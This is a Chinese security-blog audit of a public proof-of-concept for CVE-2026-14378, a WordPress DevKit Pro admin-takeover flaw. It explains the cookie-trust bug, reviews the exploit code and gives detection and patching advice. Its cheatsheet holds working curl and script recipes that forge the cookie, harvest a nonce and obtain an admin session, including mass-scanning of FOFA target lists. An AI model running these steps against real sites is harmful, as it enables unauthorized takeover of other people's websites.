CVE-2026-14378 DevKit Pro 未认证管理员接管

网安之家-CyberHomestead

2026年10月7日 08:00
湖北

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

CVE-2026-14378 DevKit Pro 未认证管理员接管 — PoC 源码审计与技术报告

分析对象：github.com/MRdark-ops/CVE-2026-19660-exploit（仓库 4 文件，已完整克隆并逐行审计后删除本地副本） 实际针对漏洞：CVE-2026-14378 — DevKit Pro (dplugins) ≤ 2.3.0 未认证管理员会话接管，CWE-287，CVSS 3.1 9.8 仓库名里的 CVE-2026-19660 是另一个产品（Divi Membership paypal_param 绕过）的编号，命名错位，README 自述仅打 14378 参考依据：Wordfence 2026-10-02 通告、GHSA-xwfv-9j83-wfj7、ThreatWire 2026-10-05 核查文、仓库源码本身

声明：本报告只用于授权测试、防御研究与补丁验证。对未授权系统实施本链路属于犯罪行为。

0x01 一句话结论

这个仓库是一个单文件 Python PoC（poc.py，609 行，仅依赖 requests），针对 WordPress 商业插件 DevKit Pro 的\"用户切换回切\"（user-switch revert）流程做未认证管理员会话接管：伪造一个 original_user_id Cookie，从 wp_footer 里捡出泄露的回切表单和 nonce，POST 给 admin-ajax.php，服务端就通过 wp_set_auth_cookie() 给你发一张管理员的登录凭证。check 模式只探测不利用，admin 模式完成接管并验证 /wp-admin/ 可达，另有一个并发批量模式。

名字的寓意与错位：作者把仓库命名为 CVE-2026-19660，但 README 第一行、docstring、复现命令全部指向 CVE-2026-14378，甚至贴心地附了一段\"GitHub 仓库描述（复制即用）\"的文案。ThreatWire 判断这是粗糙打包，不是代码错打——PoC 逻辑与 Wordfence 披露的 14378 机理逐条对得上。

0x02 漏洞原理：信任边界在哪个字节上崩塌

2.1 业务背景：用户切换功能是怎么设计的

DevKit Pro 的 Users Manager 提供\"管理员切换成别的用户排查问题\"的能力。设计者把\"切换前是谁\"存在了客户端 Cookie 里：

Cookie: original_user_id=1

当这个 Cookie 存在时，插件认为\"当前这个低权限会话其实是从管理员切过来的\"，于是做了两件事：

1.在前台 wp_footer 钩子里渲染一个\"切换回来\"按钮，附带一个 WordPress nonce；2.注册 revert_switch 的 AJAX 处理器，收到合法 nonce 后执行 wp_set_auth_cookie($original_user_id)，把会话恢复成\"原来的用户\"。

错误在于：$_COOKIE 和 $_GET、$_POST 一样，是攻击者完全可控的输入。这段回切流程对\"你到底是不是管理员切过来的\"这件事的验证，是拿 Cookie 里的用户 ID 去查 manage_options 能力——查的是 Cookie 指向的那个用户（他当然是管理员），而不是发起请求的真实会话（他是匿名访客）。用 Wordfence 的原文说：revert_switch checks manage_options on the user named by the attacker-controlled original_user_id cookie instead of on the real requester。

2.2 为什么 WordPress nonce 拦不住它

很多人第一反应是\"有 nonce 保护啊\"。这里要拆清楚 WordPress nonce 的真实身份：

nonce = substr( hash_hmac('md5', tick | action | user_id, NONCE_KEY . NONCE_SALT), -12, 10 )

nonce 绑定的是 (动作名， 用户 ID， 时间刻度)，它是 CSRF 防御——证明\"这个请求来自渲染出表单的那个会话上下文\"，不是授权防御——它从不回答\"这个会话有没有权限做这件事\"。

攻击者走的是插件自己设计的完整两步流程：

1.带 original_user_id=1 的 Cookie GET 首页 → 插件在 footer 渲染回切表单并附 nonce（这一步 nonce 就是在\"Cookie 指向用户 = 管理员\"的上下文里铸造/校验对称的）；2.拿刚捡到的 nonce POST action=revert_switch → nonce 校验通过（同一上下文，对称成立），能力检查查的是 Cookie 用户（管理员，通过），于是 wp_set_auth_cookie(1) 执行。

nonce 全程合法，能力检查\"逻辑自洽\"，只有身份的来源是错的。这就是 CWE-287（Improper Authentication）在这类插件里的典型形态：把客户端状态当成了身份事实。

2.3 完整调用链（从 HTTP 字节到 OS 调用）

[攻击者]                        [WordPress/PHP]                          [OS 层]GET /                            │Cookie: original_user_id=1  ───► │ Web 服务器 recv() 请求头                                 │ PHP 解析 Cookie → $_COOKIE                                 │ wp_set_current_user(0)  ← 真实会话是匿名                                 │ wp_footer 钩子触发                                 │ 插件回调：检查 $_COOKIE['original_user_id']                                 │ wp_create_nonce('revert_switch') ─────► hash_hmac() → libcrypto                                 │                                          (盐来自 wp-config.php 文件读)                                 │ echo 回切表单 HTML ────────────────────► send() 响应字节POST admin-ajax.php              │action=revert_switch&nonce=xx ─► │ do_action('wp_ajax_nopriv_revert_switch')                                 │                        ^^^^^^ 注意 nopriv——特权操作挂在匿名端点                                 │ check_ajax_referer() → wp_verify_nonce() → hash_hmac() 对称校验 ✓                                 │ user_can( get_userdata($_COOKIE[...]), 'manage_options' ) ✓                                 │ wp_set_auth_cookie(1, ...) ────────────► php_random_bytes()                                 │     会话 token 入库 ($wpdb) ────────────► TCP socket → MySQL (mysqli)                                 │     生成 cookie 值 user|exp|hmac ──────► hash_hmac(md5, AUTH_SALT)                                 │ Set-Cookie: wordpress_logged_in_xxx=…; HttpOnlyGET /wp-admin/                   │Cookie: wordpress_logged_in=… ─► │ wp_validate_auth_cookie()：HMAC 验证 + 查会话 token ✓                                 │ dashboard HTML ────────────────────────► 管理员到手

几个值得在报告里说透的点：

•wp_ajax_nopriv_* 是关键放大器。WordPress 的 admin-ajax 对未登录请求走 wp_ajax_nopriv_{action} 注册的处理器。一个只应服务\"已切换会话\"的特权恢复操作，注册在匿名端点，等于把门装在了墙外。•没有内存破坏，没有注入。整条链全是 PHP 层逻辑流：hash_hmac 走 libcrypto 的 HMAC，随机性来自 php_random_bytes（Linux 下对应 getrandom(2) 或读 /dev/urandom），会话 token 持久化走 mysqli 的 TCP socket。密码学原语全部工作正常——被绕过的只是\"谁有资格触发它们\"的判断。•HttpOnly 救不了。Cookie 是服务端 Set-Cookie 下发、客户端 HTTP 库收进 jar 的，不需要 JS 读，所以 wordpress_logged_in_* 的 HttpOnly 标志与本漏洞无关。

2.4 影响面与修复

0x03 前世今生：这工具为什么诞生、站在哪条谱系上

3.1 时间线

3.2 漏洞类型的谱系位置

这个洞属于一个经典家族：把客户端存储当服务端事实（client-side state trusted as server-side fact）。用户切换类功能在 WordPress 生态里有长期历史，社区里被广泛审计过的 User Switching 插件（John Blackbourn）处理同一问题时的做法是：切换状态带 nonce 签名、回切时按真实当前用户重新做能力检查。DevKit Pro 的实现省掉了这两道，把\"原来是谁\"明文放在 Cookie 里并让回切流程无条件信任它。

同类教训在 Web 安全史里反复出现：签名缺失的\"记住我\"Cookie 伪造、明文 role/uid Cookie 越权、JWT 不验签。共性都是——授权决策引用了攻击者可写的数据源。Wordfence 在 2026 年对商业插件做批次审计时把这一类连着挖出来（14357 + 14378 同厂），说明商业 WP 插件生态在这类\"功能便利换安全边界\"的取舍上普遍欠账。

3.3 PoC 诞生的动机推断

从代码风格能读出作者画像：这不是分析报告附带的 demo，而是按批量打靶工具的形制做的——check/admin 双模式、目标列表去重、线程池、| 分隔容错（FOFA 导出格式）、成功结果落 logs.txt、随机 UA + 随机 XFF。README 里甚至写了\"FOFA / manual imports\"的示例列表。动机链条：Wordfence 通告给出完整机理 → 商业插件无公开源码，action 名不确定 → 作者把\"action 名枚举 + footer nonce 预言机\"工程化成扫描器。同时保留了授权措辞（docstring \"AUTHORIZED SECURITY RESEARCH ONLY\"，README 的 Legal 段），以及面向蓝队的 check 模式定位（\"Defenders are encouraged to use check mode to validate patches\"）。

0x04 源码逐段审计：细节的妙处与槽点

仓库全貌：poc.py（609 行）、README.md（248 行）、requirements.txt（一行 requests>=2.28.0）、MIT LICENSE。无任何构建产物、无混淆、无可执行文件——全部逻辑可人工复核。

4.1 常量区：对\"无源码商业插件\"的侦察假设（37-58 行）

_COOKIE = \"original_user_id\"_ACTIONS = (\"revert_switch\", \"DPDEV_revert_switch\",            \"dpdev_revert_switch\", \"devkit_revert_switch\")_PLUGIN_MARKERS = (\"devkit\", \"dplugins\", \"dpdev\", \"users manager\", \"users switch\")_README_PATHS = (5 个候选插件路径)

妙处：DevKit Pro 是付费插件，没有公开源码可查 action 钩子名。作者没有瞎猜一个名字，而是枚举四种命名约定（裸名 + 三种厂商前缀大小写变体），这是对付闭源目标的正确姿势。_PLUGIN_MARKERS 用于在 HTML 里做软指纹。5 条 _README_PATHS 覆盖常见插件目录别名。

槽点：_README_PATHS 里混了 2 条 .php 路径，但 plugin_hints() 里 if not path.endswith(\"readme.txt\"): continue 把它们直接过滤了——死配置，是草稿期遗留。

4.2 线程基础设施（59-95 行）

_TTY = sys.stdout.isatty()_print_lock = threading.Lock()_tls = threading.local()

三个小对象撑起批量模式的可观测性：ANSI 颜色只在 TTY 时启用（重定向到文件不会满屏转义符）；打印加锁防串行输出撕裂；_tls.target 让每条日志自带目标前缀（https://x | [+] ...），多线程扫几十个站时日志仍可读。good/bad/warn/info 四个语义化输出函数统一 +/-/!/* 前缀——这是 mass scanner 社区的通用暗号，grep 友好。

4.3 指纹与版本判定：反软 404 设计（197-226 行）

@staticmethoddef _looks_like_wp_readme(text: str) -> bool:    head = text.lstrip()[:800].lower()    if head.startswith(\"<!doctype\") or head.startswith(\"<html\"):        return False    return \"plugin name:\" in head

这是全篇最值得表扬的细节。WordPress 对不存在的路径返回 200 + 主题 HTML（软 404），只看状态码会把每个站都误判成\"插件存在\"。PoC 用内容嗅探兜底：前 800 字节不能是 HTML 文档头，必须含 plugin name:。随后 stable tag: 提取版本，_version_affected() 做元组比较 t <= (2, 3, 0)——标准的三段语义版本判定，解析失败返回 None 而不是误报。

4.4 Cookie 持久化的讲究（161-163 行）

def _set_forge_cookie(self, admin_id: int) -> None:    \"\"\"Persist original_user_id on the session (per-request cookies= is easy to drop).\"\"\"    self.s.cookies.set(_COOKIE, str(admin_id), domain=self._host(), path=\"/\")

注释写明了踩坑史：requests 的 cookies= 每请求参数在重定向链上容易丢。把伪造 Cookie 绑定域名+路径写进 Session jar，跨 302 跳转存活。绑定 domain=hostname 又保证不会泄露给重定向去的第三方域。一行代码，两个正确的工程决策。

4.5 _parse_revert_form：三层降级的 nonce 抽取器（228-338 行）

这是全文件最长的函数，做了三级抽取，逐级放宽：

1.表单级：扫所有 <form> 块，按 revert|switch.?back|devkit|original_user 关键词过滤，解析 action 属性 URL（相对/绝对/协议相对三态处理），找隐藏域里的 action 值（两种属性顺序都处理了——name=...value= 和 value=...name=），nonce 域名匹配放宽到 name 含 \"nonce\" 或 _wpnonce/security；2.JS 对象级：如果插件不是渲染表单而是内联 JS 发 AJAX，匹配 'action' : 'revert_switch' 风格的对象字面量 + 相邻的 nonce: \"hex\"；3.紧凑兜底：revert_switch[^\"']{0,120}?(?:nonce|_wpnonce)...[\"']([0-9a-f]{10,}) 一把梭，捞任何靠近 revert\_switch 字样的 10+ 位 hex。

妙处在对未知构建的容错：商业插件各版本渲染方式可能不同（form vs inline JS vs 压缩混淆），三级降级保证至少一级命中。nonce.lastindex 判断组号来兼容两种正则捕获结构，写法老练。

槽点：函数开头 230-234 行有一段 if ...: if not any(...): pass ——空操作死代码，明显是重构残留，删掉不影响任何行为。

4.6 footer 预言机（340-356 行）

def footer_oracle(self, admin_id: int) -> Optional[RevertForm]:    self._set_forge_cookie(admin_id)    extra = (\"/\", \"/?p=1\", \"/sample-page/\", \"/index.php\",             \"/wp-admin/admin-ajax.php?action=heartbeat\")

带上伪造 Cookie 依次请求 5 个页面找 nonce。首页最可能挂 footer；/?p=1、/sample-page/ 覆盖\"首页是静态页/构建页\"的站；heartbeat 那条路径存疑——wp_footer 不会在 admin-ajax 请求上触发，这行大概率永远空手而归，但无害。oracle 设计的精髓：探测阶段只读取响应，不触碰 revert 端点，对目标零副作用——这是 check 模式敢对生产站用的原因。

4.7 revert()：不成功便换姿势的利用器（358-391 行）

POST 主尝试后，失败路径一共三层：

1.302 → wp-admin 的重定向里可能没带 Set-Cookie，再查一次 jar；2.同一个 nonce 换四种 action 名重发 POST（_ACTIONS 全遍历）——应对版本间钩子名变化；3.GET 形式重试（params={action, nonce}），注释写着 \"idempotent GET-style handlers (seen in similar plugins)\"——作者见过别的插件用 GET 处理 AJAX，防御性补上。

严格说 WordPress nonce 绑定 action 名，换名重放本应校验失败；但 tier-1 从真实表单抓到的 action+nonce 是配对的，tier-2/3 的\"猜名\"在猜中的那一刻 nonce 也正好是那个名下铸造的，所以逻辑闭环。三层兜底换来的鲁棒性，值这个代码量。

4.8 成功判定的双重确认（393-404 行）

def _has_auth_cookie(self) -> bool:    return any(c.name.startswith(\"wordpress_logged_in\") for c in self.s.cookies)
def admin_surface(self) -> bool:    r = self._get(\"/wp-admin/\")    if r.status_code != 200: return False    if \"wp-login.php\" in r.url: return False       # 被踢回登录页 = 没接管成功    return \"dashboard\" in r.text.lower() or \"wp-admin-bar\" in r.text.lower()

不只看\"拿到了 Cookie\"，还要实际访问 /wp-admin/ 验证：200 + URL 没被重定向到 wp-login + 页面含 dashboard/admin-bar 标记。wp-login.php in r.url 这条检查尤其关键——requests 跟随重定向后 r.url 是最终落点，被弹回登录页说明会话无效。双重判定杜绝了误报，这在批量扫描器里是稀缺品质。

4.9 批量模式的 argv 外科手术（543-555 行）

def _parse_mass_argv() -> Tuple[int, bool]:    \"\"\"Optional: poc.py list.txt admin --workers 8 --serial\"\"\"    argv = sys.argv[:]    if \"--serial\" in argv:        serial = True; argv.remove(\"--serial\")    if \"--workers\" in argv:        i = argv.index(\"--workers\"); workers = max(1, int(argv[i+1])); del argv[i:i+2]    sys.argv = argv    return workers, serial

批量模式不走 argparse（argparse 只服务于 check/admin 子命令），--workers/--serial 这两个批量旗标用手工摘除的方式从 sys.argv 里抠掉，剩下的再交给后续逻辑。丑，但让单目标与批量两条入口共存于一个文件而互不干扰。类似的还有 SimpleNamespace(url=..., timeout=..., ...) 伪造 args 对象复用 cmd_admin()——单/批两态共用同一套核心函数，结构上是对的。

交互彩蛋：mylist() 里 Your List --> : 的提示词循环、自动补 .txt 后缀——这是老一代 Python mass scanner（LFI/RCE 批量脚本时代）的标志性 UX，作者明显是从那批工具的代码谱系里出来的。

4.10 槽点清单（诚实审计）

总体评价：核心利用逻辑是认真写的，包装是毛糙的。利用器三级降级、双确认、反软 404，这些是懂行的人写的；仓库名/模板残留/文档数字对不上，这些是不在乎的人留的。两副面孔出现在同一个仓库，恰好说明它是一次\"快速复现通告 → 工程化打包\"的产物。

0x05 攻击链位置与渗透测试落地

5.1 在 kill chain 里的坐标

侦察          FOFA/Shodan/ fofa \"devkit\" / WP 枚举插件目录   │初始访问  ◄── 本 PoC：check(探测) → admin(接管)，零凭据零交互   │权限维持      管理员到手后：建后台账号 / 装恶意主题插件（配合 CVE-2026-14357 更顺）              / 编辑主题 404.php 落 webshell / 计划任务   │横向          WP 配置文件里的 DB 凭据 → 内网 MySQL / 同服其他站点

这是纯初始访问阶段的工具。拿到 wordpress_logged_in_* 之后的事它一概不管——定位克制，边界干净。

5.2 实网落地的前提与摩擦

现实中最大的一道路障 README 写得很清楚：Users Manager 功能默认关闭。利用成立需要\"插件装了 + 切换功能开了\"同时满足。这决定了：

•攻击视角： Universe 缩水到 DevKit Pro 商业用户里主动开启该功能的子集。批量扫描的价值主要是侦察（check 模式挑出开了功能的站），admin 模式只在确证后使用；•防御视角：关掉切换功能就等于打了免疫，哪怕版本没升级。

5.3 蓝队检测与处置（这部分比利用本身更实用）

WAF/日志侧规则思路：

# 访问日志高信号组合（等价 Sigma 语义）：# 1) 匿名请求携带 original_user_id Cookie 且无 wordpress_logged_in Cookie → 疑似踩点# 2) POST /wp-admin/admin-ajax.php  body 含 action=revert_switch 且会话未认证 → 强告警# 3) 非会话 Cookie 下 GET 首页后 N 秒内同 IP POST revert_switch → 关联告警

手工验证一行版（补丁后自检可用）：

# 看 footer 是否泄露回切 nonce（泄露 = 存在风险路径）curl -sk -H 'Cookie: original_user_id=1' https://your.site/ \\  | grep -oE '(revert_switch|_wpnonce[^>]*value=\"[a-f0-9]{10}\")' | head

处置顺序：升级 3.0.0+ → 无法立即升级就关 Users Manager → 轮换管理员凭据 → 排查暴露窗口期内新增的管理员账号/主题/插件/计划任务 → 翻访问日志里的 original_user_id 触碰记录。

0x06 Cheatsheet：把参数当模块用的命令配方

先看本体的\"帮助信息\"。argparse 定义在 main()（472-483 行），完整的 -h 输出等价如下：

usage: poc.py [-h] {check,admin} ...poc.py check <url> [--timeout F] [--user-id N]poc.py admin <url> [--timeout F] [--user-id N] [--brute N] [--log FILE]       check   插件指纹 + footer nonce 预言机（不改会话状态，安全）       admin   完成接管 → 拿 wordpress_logged_in_*（默认 ID 1）批量: poc.py <list.txt> [admin] [--workers N] [--serial]

参数语义表（每个参数视为一个可插拔功能模块）：

配方 1：单目标标准流（探测 → 确认 → 接管）

python poc.py check https://lab.local                 # 第一拍：零副作用探测python poc.py admin https://lab.local                 # 第二拍：默认打 ID 1python poc.py admin https://lab.local --log pwned.txt # 成功结果留痕

配方 2：管理员不是 ID 1 的站

python poc.py check https://lab.local --user-id 2python poc.py admin https://lab.local --user-id 2 --brute 10# brute 模块自动从 1 试到 N，每个 ID 重新取 nonce（footer_oracle 按 uid 重跑）

配方 3：慢站/弱网调参

python poc.py admin https://slow.box --timeout 60# _get/_post 的失败重试自动加 10s：实际兜底 70s

配方 4：批量两段式（先筛后打）

# 第一段：全量 check（默认模式），只摸谁开着切换功能python poc.py targets.txt --workers 16 > recon.log 2>&1
# grep 出可利用目标（退出码 0 的都是 [+] 前缀）grep '\\[+\\]' recon.log | awk '{print $3}' > vuln.txt
# 第二段：只对确证目标打 adminpython poc.py vuln.txt admin --workers 4

配方 5：串行模式取证（日志时间线干净）

python poc.py targets.txt admin --serial# 单线程逐个，日志按序输出，适合出报告截图

配方 6：FOFA 导出列表直接喂

# FOFA 导出格式 ip|port|protocol，_mass_worker 只取首 token，天然兼容python poc.py fofa_export.txt

配方 7：不用 PoC 的手工等价链（验证理解/应急排查）

# 第 1 步：带伪造 Cookie 取首页，抠 nonceNONCE=$(curl -sk -H 'Cookie: original_user_id=1' https://lab.local/ \\        | grep -oE 'name=\"_wpnonce\"[^>]*value=\"([a-f0-9]+)\"' \\        | grep -oE '[a-f0-9]{10}' | head -1)
# 第 2 步：回切请求，看是否下发管理员会话curl -sk -i -H 'Cookie: original_user_id=1' \\     -d \"action=revert_switch&_wpnonce=$NONCE\" \\     https://lab.local/wp-admin/admin-ajax.php | grep -i 'set-cookie\\|wordpress_logged_in'

配方 8：CI 化补丁验收（蓝队）

#!/bin/bash# patch_verify.sh — 升级 3.0.0 后跑一遍，退出码非 0 即验收失败for site in $(cat owned_sites.txt); do  python poc.py check \"$site\"  [ $? -eq 2 ] || { echo \"$site still exposed\"; exit 1; }doneecho \"all sites verified patched\"

配方 9：与资产测绘管线拼接

# 从 httpx 探活输出直接生成目标列表（httpx -json 场景）jq -r 'select(.status_code==200) | .url' live.json | sort -u > targets.txtpython poc.py targets.txt

配方 10：日志狩猎自动化（蓝队反向用同一特性）

# 从 Nginx 日志里找踩点者：带 original_user_id 的匿名请求awk '($0 ~ /original_user_id/)' access.log | \\  grep -v 'wordpress_logged_in' | awk '{print $1}' | sort | uniq -c | sort -rn | head

配方设计心法一句话：check 是布尔预言机（退出码即 API），admin 是副作用执行器，--user-id/--brute/--workers/--serial/--log 是四个正交旋钮——按\"先预言机后执行器、先单发后批量、先并发后串行取证\"的顺序自由组合。

0x07 AI 辅助方案头脑风暴：五个版本的对比

把\"如何造这个 PoC\"当设计题重推一遍，五个候选架构：

结论性判断：检测归 C，利用归 A，主机侧巡检归 E。本仓库选 A 是合理的——这个漏洞的三级 nonce 抽取逻辑（form/JS/紧凑兜底）用声明式模板表达会非常痛苦，过程式脚本是对的载体。

如果给方案 A 提改进清单（按性价比排序）：

1.--proxy + --delay（实网必备，当前完全没有）；2.--json 结构化输出（现在的日志靠 grep [+] 前缀，脆）；3.修掉 README 的 50 workers 谎言与 YOUR\_USER 模板残留（信任成本）；4._README_PATHS 清掉死配置、_parse_revert_form 删空 if 块（代码卫生）；5.action 名发现自动化：抓插件 JS 句柄做静态提取，替代硬编码四元组。

0x08 总结

技术面上，CVE-2026-14378 是教科书级的 CWE-287：一个为管理员便利设计的切换回切流程，把身份事实存在客户端 Cookie 里，把能力检查指向 Cookie 用户而非真实请求者，把特权恢复操作挂在匿名 AJAX 端点上。nonce 机制全程工作正常但防不住它——因为 nonce 证明的是流程连续性，不是权限。修复也简单：回切时按真实会话做能力检查（或干脆服务端存切换状态），3.0.0 已经这么做了。

这个 PoC 本身是一次合格的工程复现：footer 预言机零副作用、三级 nonce 抽取、action 名枚举、双确认成功判定，都针对\"闭源商业插件 + 各版本渲染差异\"的现实困难做了正确设计。包装面的仓库名错挂、模板残留、文档数字失修则提醒读者：对公开 exploit 仓库，读代码永远比读 README 可靠——ThreatWire 对这个仓库的核查方式（只看元数据不下结论、以 Wordfence 的 CVE 映射为准）就是标准姿势。

对蓝队，行动清单只有四行：升级 3.0.0；升级不了就关 Users Manager；翻日志找 original_user_id；轮换暴露窗口期的管理员凭据。

附：引用与出处

•Wordfence CVE-2026-14378 通告（2026-10-02，CNA 原始披露）•GHSA-xwfv-9j83-wfj7（GitHub Security Advisory，同分 9.8）•ThreatWire 核查文（2026-10-05）：编号错位澄清、KEV/在野状态、修复版本考证•本仓库 poc.py 609 行 + README.md 248 行源码（已审计，本地副本已删除）•CVE-2026-19660（NVD）：Divi Membership paypal_param 绕过——与本仓库实际内容无关的命名来源•CVE-2026-14357：同产品 DPDEV_install_themes 主题安装绕过（Subscriber+），批次披露的姊妹洞